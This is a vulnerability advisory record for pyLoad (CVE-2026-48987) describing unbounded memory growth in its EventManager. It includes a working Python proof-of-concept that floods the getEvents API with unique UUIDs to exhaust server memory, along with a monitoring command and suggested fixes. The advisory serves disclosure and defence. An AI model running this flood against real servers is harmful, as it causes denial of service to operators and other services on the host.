{"id":"CVE-2026-48987","aliases":["PYSEC-2026-2992"],"url":"https://o3.security/vulnerability/CVE-2026-48987","summary":"pyLoad: Unbounded Memory Growth Leading to DoS and Potential DDoS in EventManager","details":"## Description:\nThe `EventManager` module in `pyload` manages a list of `Client` instances for subscribing to events. The addition of each unique `uuid` from the `get_events` API causes the creation of a `Client` instance that gets appended to the `clients` list. Although there is a `clean()` method available in the `EventManager` module for removing non-responding `Client` instances, this method is never used in the `EventManager` or in the entire core application code. Consequently, this causes an uncontrolled growth in memory consumption until it becomes exhausted, resulting in a DoS attack.\n\n## Vulnerable Code:\nhttps://github.com/pyload/pyload/blob/355c3f8d78a91f72d049e58f1edee8a972f845eb/src/pyload/core/managers/event_manager.py#L16-L17\n\n> Here the client is added to the `clients` list but never cleared the inactive clients.\n\n## Exploitation:\n1.  **Start pyLoad server** (Ensure the `pyload` server is running)\n2.  **Authenticate**: Obtain a session cookie or an API key (Here i used the API key).\n3.  **Send Requests**: Run the below poc script to send a large number of requests to the `getEvents` API endpoint, each with a unique `uuid`.\n```python\nimport requests\nimport uuid\nimport time\n\n# Configuration\nURL = \"http://localhost:8000/api/getEvents\"\nNUM_REQUESTS = 100000\n\nheaders = {\n\t\"X-API-Key\" : \"<YOUR_APIKEY>\"\n}\n\nprint(f\"Starting DoS attack: sending {NUM_REQUESTS} unique UUIDs...\")\n\nfor i in range(NUM_REQUESTS):\n   # Generating a new UUID\n    uid = str(uuid.uuid4())\n    try:\n        # Sending request\n        requests.get(URL, params={\"uuid\": uid}, headers=headers, timeout=5)\n        if i % 1000 == 0:\n            print(f\"Sent {i} requests...\")\n    except requests.exceptions.RequestException as e:\n        print(f\"Error at request {i}: {e}\")\n        break\n\nprint(\"Attack complete. Check memory usage.\")\n\n```\n5.  **Monitor Memory**: Monitor the memory usage of the `pyload` process (e.g., using `top`, `ps` or the following commands).\n```bash\nPID=$(pgrep -f \"pyload\"); while true; do ps -o rss= -p $PID; sleep 1; done\n```\n\n6.  **Observe Growth**: Notice that the memory consumption increases and never decreases, even after the requests stop and 30 seconds.\n\nhttps://github.com/user-attachments/assets/28d460c9-655d-45a1-a47f-c0f4d196f686\n\n## Impact:\n- Denial of Service (DoS). The `pyload` process will consume all available system memory, leading to an Out-of-Memory (OOM) kill by the operating system or system-wide instability, affecting other services on the host.\n\n## Mitigations:\n- **Invoke `clean()`**: Call `self.clean()` at the beginning of the `get_events` method to purge inactive clients before processing new ones.\n- **Rate Limiting**: Implement rate limiting on the `getEvents` endpoint to prevent a single client from flooding the server with unique UUIDs.","published":"2026-07-09T13:35:28Z","modified":"2026-07-13T16:42:42.028016113Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"pyload-ng","fixedVersion":null}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-c2f9-4mc8-j656"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-13T16:42:42.028016113Z"}}